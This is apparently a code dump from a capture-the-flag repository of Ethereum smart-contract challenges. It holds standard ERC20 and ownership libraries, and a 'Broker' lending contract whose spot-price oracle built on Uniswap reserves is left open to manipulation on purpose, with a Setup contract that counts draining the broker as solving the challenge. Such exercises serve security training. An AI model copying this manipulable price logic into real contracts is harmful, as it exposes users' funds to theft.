013c9190610156565b905090565b60008151905061015081610223565b92915050565b60006020828403121561016857600080fd5b600061017684828501610141565b91505092915050565b610188816101d3565b82525050565b610197816101ff565b82525050565b60006020820190506101b2600083018461017f565b92915050565b60006020820190506101cd600083018461018e565b92915050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061020a82610211565b9050919050565b600061021c826101df565b9050919050565b61022c816101d3565b811461023757600080fd5b5056fea26469706673582212204fc81107d849439ef9ddd78fcf1860c10e91afc79f1ba7c646c2aa31873cecd964736f6c63430008000033608060405260008060006101000a81548160ff02191690831515021790555034801561002a57600080fd5b5060ee806100396000396000f3fe6080604052348015600f57600080fd5b506004361060325760003560e01c8063799320bb146037578063890d6908146051575b600080fd5b603d6059565b604051604891906093565b60405180910390f35b6057606a565b005b60008054906101000a900460ff1681565b60016000806101000a81548160ff021916908315150217905550565b608d8160ac565b82525050565b600060208201905060a660008301846086565b92915050565b6000811515905091905056fea26469706673582212202f83e1233a410e2208eda12b171a9d3b0ab39200848610fca0f32b740750658664736f6c63430008000033"}},"version":"0.8.0+commit.c7dfd78e.Darwin.appleclang"} 2 | -------------------------------------------------------------------------------- /problems/jop/public/contracts/Address.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.7.6; 2 | 3 | /** 4 | * @dev Collection of functions related to the address type 5 | */ 6 | library Address { 7 | /** 8 | * @dev Returns true if `account` is a contract. 9 | * 10 | * [IMPORTANT] 11 | * ==== 12 | * It is unsafe to assume that an address for which this function returns 13 | * false is an externally-owned account (EOA) and not a contract. 14 | * 15 | * Among others, `isContract` will return false for the following 16 | * types of addresses: 17 | * 18 | * - an externally-owned account 19 | * - a contract in construction 20 | * - an address where a contract will be created 21 | * - an address where a contract lived, but was destroyed 22 | * ==== 23 | */ 24 | function isContract(address account) internal view returns (bool) { 25 | // According to EIP-1052, 0x0 is the value returned for not-yet created accounts 26 | // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned 27 | // for accounts without code, i.e. `keccak256('')` 28 | bytes32 codehash; 29 | bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; 30 | // solhint-disable-next-line no-inline-assembly 31 | assembly { codehash := extcodehash(account) } 32 | return (codehash != accountHash && codehash != 0x0); 33 | } 34 | 35 | /** 36 | * @dev Replacement for Solidity's `transfer`: sends `amount` wei to 37 | * `recipient`, forwarding all available gas and reverting on errors. 38 | * 39 | * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost 40 | * of certain opcodes, possibly making contracts go over the 2300 gas limit 41 | * imposed by `transfer`, making them unable to receive funds via 42 | * `transfer`. {sendValue} removes this limitation. 43 | * 44 | * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. 45 | * 46 | * IMPORTANT: because control is transferred to `recipient`, care must be 47 | * taken to not create reentrancy vulnerabilities. Consider using 48 | * {ReentrancyGuard} or the 49 | * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. 50 | */ 51 | function sendValue(address payable recipient, uint256 amount) internal { 52 | require(address(this).balance >= amount, "Address: insufficient balance"); 53 | 54 | // solhint-disable-next-line avoid-low-level-calls, avoid-call-value 55 | (bool success, ) = recipient.call{ value: amount }(""); 56 | require(success, "Address: unable to send value, recipient may have reverted"); 57 | } 58 | } 59 | -------------------------------------------------------------------------------- /contracts/upgrade/Rescuable.sol: -------------------------------------------------------------------------------- 1 | // File: contracts/v1.1/Rescuable.sol 2 | 3 | /** 4 | * License: MIT 5 | * 6 | * Copyright (c) 2018-2020 CENTRE SECZ 7 | * 8 | * Permission is hereby granted, free of charge, to any person obtaining a copy 9 | * of this software and associated documentation files (the "Software"), to deal 10 | * in the Software without restriction, including without limitation the rights 11 | * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 12 | * copies of the Software, and to permit persons to whom the Software is 13 | * furnished to do so, subject to the following conditions: 14 | * 15 | * The above copyright notice and this permission notice shall be included in 16 | * copies or substantial portions of the Software. 17 | * 18 | * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 19 | * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 20 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 21 | * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 22 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 23 | * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 24 | * SOFTWARE. 25 | */ 26 | 27 | pragma solidity 0.6.12; 28 | 29 | import "./Ownable.sol"; 30 | import "./SafeERC20.sol"; 31 | 32 | contract Rescuable is Ownable { 33 | using SafeERC20 for IERC20; 34 | 35 | address private _rescuer; 36 | 37 | event RescuerChanged(address indexed newRescuer); 38 | 39 | /** 40 | * @notice Returns current rescuer 41 | * @return Rescuer's address 42 | */ 43 | function rescuer() external view returns (address) { 44 | return _rescuer; 45 | } 46 | 47 | /** 48 | * @notice Revert if called by any account other than the rescuer. 49 | */ 50 | modifier onlyRescuer() { 51 | require(msg.sender == _rescuer, "Rescuable: caller is not the rescuer"); 52 | _; 53 | } 54 | 55 | /** 56 | * @notice Rescue ERC20 tokens locked up in this contract. 57 | * @param tokenContract ERC20 token contract address 58 | * @param to Recipient address 59 | * @param amount Amount to withdraw 60 | */ 61 | function rescueERC20( 62 | IERC20 tokenContract, 63 | address to, 64 | uint256 amount 65 | ) external onlyRescuer { 66 | tokenContract.safeTransfer(to, amount); 67 | } 68 | 69 | /** 70 | * @notice Assign the rescuer role to a given address. 71 | * @param newRescuer New rescuer's address 72 | */ 73 | function updateRescuer(address newRescuer) external onlyOwner { 74 | require(newRescuer != address(0), "Rescuable: new rescuer is the zero address"); 75 | _rescuer = newRescuer; 76 | emit RescuerChanged(newRescuer); 77 | } 78 | } 79 | -------------------------------------------------------------------------------- /problems/broker/public/contracts/Setup.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.8.0; 2 | 3 | import "./Broker.sol"; 4 | 5 | contract Token { 6 | mapping(address => uint256) public balanceOf; 7 | mapping(address => bool) public dropped; 8 | mapping(address => mapping(address => uint256)) public allowance; 9 | uint256 public totalSupply = 1_000_000 ether; 10 | uint256 public AMT = totalSupply / 100_000; 11 | 12 | constructor() { 13 | balanceOf[msg.sender] = totalSupply; 14 | } 15 | 16 | function approve(address to, uint256 amount) public returns (bool) { 17 | allowance[msg.sender][to] = amount; 18 | return true; 19 | } 20 | 21 | function transfer(address to, uint256 amount) public returns (bool) { 22 | return transferFrom(msg.sender, to, amount); 23 | } 24 | 25 | function transferFrom(address from, address to, uint256 amount) public returns (bool) { 26 | if (from != msg.sender) { 27 | allowance[from][to] -= amount; 28 | } 29 | balanceOf[from] -= amount; 30 | balanceOf[to] += amount; 31 | return true; 32 | } 33 | 34 | function airdrop() public { 35 | require(!dropped[msg.sender], "err: only once"); 36 | dropped[msg.sender] = true; 37 | balanceOf[msg.sender] += AMT; 38 | totalSupply += AMT; 39 | } 40 | } 41 | 42 | interface IUniswapV2Factory { 43 | function createPair(address tokenA, address tokenB) external returns (address pair); 44 | } 45 | 46 | contract Setup { 47 | WETH9 public constant weth = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); 48 | IUniswapV2Factory public constant factory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f); 49 | Token public token; 50 | IUniswapV2Pair public pair; 51 | Broker public broker; 52 | 53 | uint256 constant DECIMALS = 1 ether; 54 | uint256 totalBefore; 55 | 56 | // create and bootstrap the token/weth pool for borrowing against WETH 57 | constructor() payable { 58 | require(msg.value == 50 ether); 59 | weth.deposit{value: msg.value}(); 60 | 61 | token = new Token(); 62 | pair = IUniswapV2Pair(factory.createPair(address(weth), address(token))); 63 | broker = new Broker(pair, ERC20Like(address(token))); 64 | token.transfer(address(broker), 500_000 * DECIMALS); 65 | 66 | // 1:25 67 | weth.transfer(address(pair), 25 ether); 68 | token.transfer(address(pair), 500_000 * DECIMALS); 69 | pair.mint(address(this)); 70 | 71 | weth.approve(address(broker), type(uint256).max); 72 | broker.deposit(25 ether); 73 | broker.borrow(250_000 * DECIMALS); 74 | 75 | totalBefore = weth.balanceOf(address(broker)) + token.balanceOf(address(broker)) / broker.rate(); 76 | } 77 | 78 | function isSolved() public view returns (bool) { 79 | return weth.balanceOf(address(broker)) < 5 ether; 80 | } 81 | } 82 | -------------------------------------------------------------------------------- /problems/jop/public/contracts/IERC20.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.7.6; 2 | 3 | /** 4 | * @dev Interface of the ERC20 standard as defined in the EIP. 5 | */ 6 | interface IERC20 { 7 | /** 8 | * @dev Returns the amount of tokens in existence. 9 | */ 10 | function totalSupply() external view returns (uint256); 11 | 12 | /** 13 | * @dev Returns the amount of tokens owned by `account`. 14 | */ 15 | function balanceOf(address account) external view returns (uint256); 16 | 17 | /** 18 | * @dev Moves `amount` tokens from the caller's account to `recipient`. 19 | * 20 | * Returns a boolean value indicating whether the operation succeeded. 21 | * 22 | * Emits a {Transfer} event. 23 | */ 24 | function transfer(address recipient, uint256 amount) external returns (bool); 25 | 26 | /** 27 | * @dev Returns the remaining number of tokens that `spender` will be 28 | * allowed to spend on behalf of `owner` through {transferFrom}. This is 29 | * zero by default. 30 | * 31 | * This value changes when {approve} or {transferFrom} are called. 32 | */ 33 | function allowance(address owner, address spender) external view returns (uint256); 34 | 35 | /** 36 | * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. 37 | * 38 | * Returns a boolean value indicating whether the operation succeeded. 39 | * 40 | * IMPORTANT: Beware that changing an allowance with this method brings the risk 41 | * that someone may use both the old and the new allowance by unfortunate 42 | * transaction ordering. One possible solution to mitigate this race 43 | * condition is to first reduce the spender's allowance to 0 and set the 44 | * desired value afterwards: 45 | * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 46 | * 47 | * Emits an {Approval} event. 48 | */ 49 | function approve(address spender, uint256 amount) external returns (bool); 50 | 51 | /** 52 | * @dev Moves `amount` tokens from `sender` to `recipient` using the 53 | * allowance mechanism. `amount` is then deducted from the caller's 54 | * allowance. 55 | * 56 | * Returns a boolean value indicating whether the operation succeeded. 57 | * 58 | * Emits a {Transfer} event. 59 | */ 60 | function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); 61 | 62 | /** 63 | * @dev Emitted when `value` tokens are moved from one account (`from`) to 64 | * another (`to`). 65 | * 66 | * Note that `value` may be zero. 67 | */ 68 | event Transfer(address indexed from, address indexed to, uint256 value); 69 | 70 | /** 71 | * @dev Emitted when the allowance of a `spender` for an `owner` is set by 72 | * a call to {approve}. `value` is the new allowance. 73 | */ 74 | event Approval(address indexed owner, address indexed spender, uint256 value); 75 | } 76 | -------------------------------------------------------------------------------- /contracts/broker/Setup.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.8.0; 2 | 3 | import "./Broker.sol"; 4 | 5 | contract Token { 6 | mapping(address => uint256) public balanceOf; 7 | mapping(address => bool) public dropped; 8 | mapping(address => mapping(address => uint256)) public allowance; 9 | uint256 public totalSupply = 1_000_000 ether; 10 | uint256 public AMT = totalSupply / 100_000; 11 | 12 | constructor() { 13 | balanceOf[msg.sender] = totalSupply; 14 | } 15 | 16 | function approve(address to, uint256 amount) public returns (bool) { 17 | allowance[msg.sender][to] = amount; 18 | return true; 19 | } 20 | 21 | function transfer(address to, uint256 amount) public returns (bool) { 22 | return transferFrom(msg.sender, to, amount); 23 | } 24 | 25 | function transferFrom( 26 | address from, 27 | address to, 28 | uint256 amount 29 | ) public returns (bool) { 30 | if (from != msg.sender) { 31 | allowance[from][to] -= amount; 32 | } 33 | balanceOf[from] -= amount; 34 | balanceOf[to] += amount; 35 | return true; 36 | } 37 | 38 | function airdrop() public { 39 | require(!dropped[msg.sender], "err: only once"); 40 | dropped[msg.sender] = true; 41 | balanceOf[msg.sender] += AMT; 42 | totalSupply += AMT; 43 | } 44 | } 45 | 46 | interface IUniswapV2Factory { 47 | function createPair(address tokenA, address tokenB) external returns (address pair); 48 | } 49 | 50 | contract Setup { 51 | WETH9 public constant weth = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); 52 | IUniswapV2Factory public constant factory = 53 | IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f); 54 | Token public token; 55 | IUniswapV2Pair public pair; 56 | Broker public broker; 57 | 58 | uint256 constant DECIMALS = 1 ether; 59 | uint256 totalBefore; 60 | 61 | // create and bootstrap the token/weth pool for borrowing against WETH 62 | constructor() payable { 63 | require(msg.value == 50 ether); 64 | weth.deposit{value: msg.value}(); 65 | 66 | token = new Token(); 67 | pair = IUniswapV2Pair(factory.createPair(address(weth), address(token))); 68 | broker = new Broker(pair, ERC20Like(address(token))); 69 | token.transfer(address(broker), 500_000 * DECIMALS); 70 | 71 | // 1:25 72 | weth.transfer(address(pair), 25 ether); 73 | token.transfer(address(pair), 500_000 * DECIMALS); 74 | pair.mint(address(this)); 75 | 76 | weth.approve(address(broker), type(uint256).max); 77 | broker.deposit(25 ether); 78 | broker.borrow(250_000 * DECIMALS); 79 | 80 | totalBefore = 81 | weth.balanceOf(address(broker)) + 82 | token.balanceOf(address(broker)) / 83 | broker.rate(); 84 | } 85 | 86 | function isSolved() public view returns (bool) { 87 | return weth.balanceOf(address(broker)) < 5 ether; 88 | } 89 | } 90 | -------------------------------------------------------------------------------- /contracts/upgrade/IERC20.sol: -------------------------------------------------------------------------------- 1 | 2 | 3 | // File: @openzeppelin/contracts/token/ERC20/IERC20.sol 4 | 5 | // License: MIT 6 | 7 | pragma solidity ^0.6.0; 8 | 9 | /** 10 | * @dev Interface of the ERC20 standard as defined in the EIP. 11 | */ 12 | interface IERC20 { 13 | /** 14 | * @dev Returns the amount of tokens in existence. 15 | */ 16 | function totalSupply() external view returns (uint256); 17 | 18 | /** 19 | * @dev Returns the amount of tokens owned by `account`. 20 | */ 21 | function balanceOf(address account) external view returns (uint256); 22 | 23 | /** 24 | * @dev Moves `amount` tokens from the caller's account to `recipient`. 25 | * 26 | * Returns a boolean value indicating whether the operation succeeded. 27 | * 28 | * Emits a {Transfer} event. 29 | */ 30 | function transfer(address recipient, uint256 amount) 31 | external 32 | returns (bool); 33 | 34 | /** 35 | * @dev Returns the remaining number of tokens that `spender` will be 36 | * allowed to spend on behalf of `owner` through {transferFrom}. This is 37 | * zero by default. 38 | * 39 | * This value changes when {approve} or {transferFrom} are called. 40 | */ 41 | function allowance(address owner, address spender) 42 | external 43 | view 44 | returns (uint256); 45 | 46 | /** 47 | * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. 48 | * 49 | * Returns a boolean value indicating whether the operation succeeded. 50 | * 51 | * IMPORTANT: Beware that changing an allowance with this method brings the risk 52 | * that someone may use both the old and the new allowance by unfortunate 53 | * transaction ordering. One possible solution to mitigate this race 54 | * condition is to first reduce the spender's allowance to 0 and set the 55 | * desired value afterwards: 56 | * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 57 | * 58 | * Emits an {Approval} event. 59 | */ 60 | function approve(address spender, uint256 amount) external returns (bool); 61 | 62 | /** 63 | * @dev Moves `amount` tokens from `sender` to `recipient` using the 64 | * allowance mechanism. `amount` is then deducted from the caller's 65 | * allowance. 66 | * 67 | * Returns a boolean value indicating whether the operation succeeded. 68 | * 69 | * Emits a {Transfer} event. 70 | */ 71 | function transferFrom( 72 | address sender, 73 | address recipient, 74 | uint256 amount 75 | ) external returns (bool); 76 | 77 | /** 78 | * @dev Emitted when `value` tokens are moved from one account (`from`) to 79 | * another (`to`). 80 | * 81 | * Note that `value` may be zero. 82 | */ 83 | event Transfer(address indexed from, address indexed to, uint256 value); 84 | 85 | /** 86 | * @dev Emitted when the allowance of a `spender` for an `owner` is set by 87 | * a call to {approve}. `value` is the new allowance. 88 | */ 89 | event Approval( 90 | address indexed owner, 91 | address indexed spender, 92 | uint256 value 93 | ); 94 | } -------------------------------------------------------------------------------- /problems/broker/public/contracts/Broker.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.8.0; 2 | 3 | interface IUniswapV2Pair { 4 | function mint(address to) external returns (uint liquidity); 5 | function getReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast); 6 | function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; 7 | } 8 | 9 | interface ERC20Like { 10 | function transfer(address dst, uint qty) external returns (bool); 11 | function transferFrom(address src, address dst, uint qty) external returns (bool); 12 | function approve(address dst, uint qty) external returns (bool); 13 | 14 | function balanceOf(address who) external view returns (uint); 15 | } 16 | 17 | interface WETH9 is ERC20Like { 18 | function deposit() external payable; 19 | } 20 | 21 | // a simple overcollateralized loan bank which accepts WETH as collateral and a 22 | // token for borrowing. 0% APRs 23 | contract Broker { 24 | IUniswapV2Pair public pair; 25 | WETH9 public constant weth = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); 26 | ERC20Like public token; 27 | 28 | 29 | mapping(address => uint256) public deposited; 30 | mapping(address => uint256) public debt; 31 | 32 | constructor (IUniswapV2Pair _pair, ERC20Like _token) { 33 | pair = _pair; 34 | token = _token; 35 | } 36 | 37 | function rate() public view returns (uint256) { 38 | (uint112 _reserve0, uint112 _reserve1,) = pair.getReserves(); 39 | uint256 _rate = uint256(_reserve0 / _reserve1); 40 | return _rate; 41 | } 42 | 43 | function safeDebt(address user) public view returns (uint256) { 44 | return deposited[user] * rate() * 2 / 3; 45 | } 46 | 47 | // borrow some tokens 48 | function borrow(uint256 amount) public { 49 | debt[msg.sender] += amount; 50 | require(safeDebt(msg.sender) >= debt[msg.sender], "err: undercollateralized"); 51 | token.transfer(msg.sender, amount); 52 | } 53 | 54 | // repay your loan 55 | function repay(uint256 amount) public { 56 | debt[msg.sender] -= amount; 57 | token.transferFrom(msg.sender, address(this), amount); 58 | } 59 | 60 | // repay a user's loan and get back their collateral. no discounts. 61 | function liquidate(address user, uint256 amount) public returns (uint256) { 62 | require(safeDebt(user) <= debt[user], "err: overcollateralized"); 63 | debt[user] -= amount; 64 | token.transferFrom(msg.sender, address(this), amount); 65 | uint256 collateralValueRepaid = amount / rate(); 66 | weth.transfer(msg.sender, collateralValueRepaid); 67 | return collateralValueRepaid; 68 | } 69 | 70 | // top up your collateral 71 | function deposit(uint256 amount) public { 72 | deposited[msg.sender] += amount; 73 | weth.transferFrom(msg.sender, address(this), amount); 74 | } 75 | 76 | // remove collateral 77 | function withdraw(uint256 amount) public { 78 | deposited[msg.sender] -= amount; 79 | require(safeDebt(msg.sender) >= debt[msg.sender], "err: undercollateralized"); 80 | 81 | weth.transfer(msg.sender, amount); 82 | } 83 | } 84 | -------------------------------------------------------------------------------- /contracts/upgrade/EIP712.sol: -------------------------------------------------------------------------------- 1 | // File: contracts/util/EIP712.sol 2 | 3 | /** 4 | * License: MIT 5 | * 6 | * Copyright (c) 2018-2020 CENTRE SECZ 7 | * 8 | * Permission is hereby granted, free of charge, to any person obtaining a copy 9 | * of this software and associated documentation files (the "Software"), to deal 10 | * in the Software without restriction, including without limitation the rights 11 | * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 12 | * copies of the Software, and to permit persons to whom the Software is 13 | * furnished to do so, subject to the following conditions: 14 | * 15 | * The above copyright notice and this permission notice shall be included in 16 | * copies or substantial portions of the Software. 17 | * 18 | * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 19 | * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 20 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 21 | * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 22 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 23 | * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 24 | * SOFTWARE. 25 | */ 26 | 27 | pragma solidity 0.6.12; 28 | 29 | import "./ECRecover.sol"; 30 | 31 | /** 32 | * @title EIP712 33 | * @notice A library that provides EIP712 helper functions 34 | */ 35 | library EIP712 { 36 | /** 37 | * @notice Make EIP712 domain separator 38 | * @param name Contract name 39 | * @param version Contract version 40 | * @return Domain separator 41 | */ 42 | function makeDomainSeparator(string memory name, string memory version) 43 | internal 44 | view 45 | returns (bytes32) 46 | { 47 | uint256 chainId; 48 | assembly { 49 | chainId := chainid() 50 | } 51 | return 52 | keccak256( 53 | abi.encode( 54 | 0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f, 55 | // = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)") 56 | keccak256(bytes(name)), 57 | keccak256(bytes(version)), 58 | chainId, 59 | address(this) 60 | ) 61 | ); 62 | } 63 | 64 | /** 65 | * @notice Recover signer's address from a EIP712 signature 66 | * @param domainSeparator Domain separator 67 | * @param v v of the signature 68 | * @param r r of the signature 69 | * @param s s of the signature 70 | * @param typeHashAndData Type hash concatenated with data 71 | * @return Signer's address 72 | */ 73 | function recover( 74 | bytes32 domainSeparator, 75 | uint8 v, 76 | bytes32 r, 77 | bytes32 s, 78 | bytes memory typeHashAndData 79 | ) internal pure returns (address) { 80 | bytes32 digest = 81 | keccak256(abi.encodePacked("\x19\x01", domainSeparator, keccak256(typeHashAndData))); 82 | return ECRecover.recover(digest, v, r, s); 83 | } 84 | } 85 | -------------------------------------------------------------------------------- /problems/secure/public/solution/scripts/sendEth.js: -------------------------------------------------------------------------------- 1 | const hre = require("hardhat"); 2 | const ethers = hre.ethers; 3 | 4 | WETH_ABI = [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"guy","type":"address"},{"name":"wad","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"src","type":"address"},{"name":"dst","type":"address"},{"name":"wad","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"wad","type":"uint256"}],"name":"withdraw","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"dst","type":"address"},{"name":"wad","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"deposit","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"},{"name":"","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":true,"name":"src","type":"address"},{"indexed":true,"name":"guy","type":"address"},{"indexed":false,"name":"wad","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"src","type":"address"},{"indexed":true,"name":"dst","type":"address"},{"indexed":false,"name":"wad","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"dst","type":"address"},{"indexed":false,"name":"wad","type":"uint256"}],"name":"Deposit","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"src","type":"address"},{"indexed":false,"name":"wad","type":"uint256"}],"name":"Withdrawal","type":"event"}] 5 | 6 | 7 | async function main() { 8 | let contract = new ethers.Contract("0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2", WETH_ABI, ethers.provider) 9 | contract = contract.connect(await ethers.provider.getSigner()) 10 | const value = ethers.utils.parseEther('50.0') 11 | console.log(await contract.functions.deposit({ value })) 12 | console.log(await contract.functions.transfer('0x636b0C25D374dC9A8bAF92a12AD8B2a6f3b5dcC8', value)) 13 | console.log(await contract.functions.balanceOf('0x636b0C25D374dC9A8bAF92a12AD8B2a6f3b5dcC8')) 14 | } 15 | 16 | main() 17 | .then(() => process.exit(0)) 18 | .catch(error => { 19 | console.error(error); 20 | process.exit(1); 21 | }); 22 | -------------------------------------------------------------------------------- /contracts/upgrade/Ownable.sol: -------------------------------------------------------------------------------- 1 | // File: contracts/v1/Ownable.sol 2 | 3 | /** 4 | * License: MIT 5 | * 6 | * Copyright (c) 2018 zOS Global Limited. 7 | * Copyright (c) 2018-2020 CENTRE SECZ 8 | * 9 | * Permission is hereby granted, free of charge, to any person obtaining a copy 10 | * of this software and associated documentation files (the "Software"), to deal 11 | * in the Software without restriction, including without limitation the rights 12 | * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 13 | * copies of the Software, and to permit persons to whom the Software is 14 | * furnished to do so, subject to the following conditions: 15 | * 16 | * The above copyright notice and this permission notice shall be included in 17 | * copies or substantial portions of the Software. 18 | * 19 | * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 20 | * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 21 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 22 | * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 23 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 24 | * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 25 | * SOFTWARE. 26 | */ 27 | pragma solidity 0.6.12; 28 | 29 | /** 30 | * @notice The Ownable contract has an owner address, and provides basic 31 | * authorization control functions 32 | * @dev Forked from https://github.com/OpenZeppelin/openzeppelin-labs/blob/3887ab77b8adafba4a26ace002f3a684c1a3388b/upgradeability_ownership/contracts/ownership/Ownable.sol 33 | * Modifications: 34 | * 1. Consolidate OwnableStorage into this contract (7/13/18) 35 | * 2. Reformat, conform to Solidity 0.6 syntax, and add error messages (5/13/20) 36 | * 3. Make public functions external (5/27/20) 37 | */ 38 | contract Ownable { 39 | // Owner of the contract 40 | address private _owner; 41 | 42 | /** 43 | * @dev Event to show ownership has been transferred 44 | * @param previousOwner representing the address of the previous owner 45 | * @param newOwner representing the address of the new owner 46 | */ 47 | event OwnershipTransferred(address previousOwner, address newOwner); 48 | 49 | /** 50 | * @dev The constructor sets the original owner of the contract to the sender account. 51 | */ 52 | constructor() public { 53 | setOwner(msg.sender); 54 | } 55 | 56 | /** 57 | * @dev Tells the address of the owner 58 | * @return the address of the owner 59 | */ 60 | function owner() external view returns (address) { 61 | return _owner; 62 | } 63 | 64 | /** 65 | * @dev Sets a new owner address 66 | */ 67 | function setOwner(address newOwner) internal { 68 | _owner = newOwner; 69 | } 70 | 71 | /** 72 | * @dev Throws if called by any account other than the owner. 73 | */ 74 | modifier onlyOwner() { 75 | require(msg.sender == _owner, "Ownable: caller is not the owner"); 76 | _; 77 | } 78 | 79 | /** 80 | * @dev Allows the current owner to transfer control of the contract to a newOwner. 81 | * @param newOwner The address to transfer ownership to. 82 | */ 83 | function transferOwnership(address newOwner) external onlyOwner { 84 | require(newOwner != address(0), "Ownable: new owner is the zero address"); 85 | emit OwnershipTransferred(_owner, newOwner); 86 | setOwner(newOwner); 87 | } 88 | } 89 | -------------------------------------------------------------------------------- /contracts/upgrade/Blacklistable.sol: -------------------------------------------------------------------------------- 1 | // File: contracts/v1/Blacklistable.sol 2 | 3 | /** 4 | * License: MIT 5 | * 6 | * Copyright (c) 2018-2020 CENTRE SECZ 7 | * 8 | * Permission is hereby granted, free of charge, to any person obtaining a copy 9 | * of this software and associated documentation files (the "Software"), to deal 10 | * in the Software without restriction, including without limitation the rights 11 | * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 12 | * copies of the Software, and to permit persons to whom the Software is 13 | * furnished to do so, subject to the following conditions: 14 | * 15 | * The above copyright notice and this permission notice shall be included in 16 | * copies or substantial portions of the Software. 17 | * 18 | * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 19 | * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 20 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 21 | * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 22 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 23 | * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR 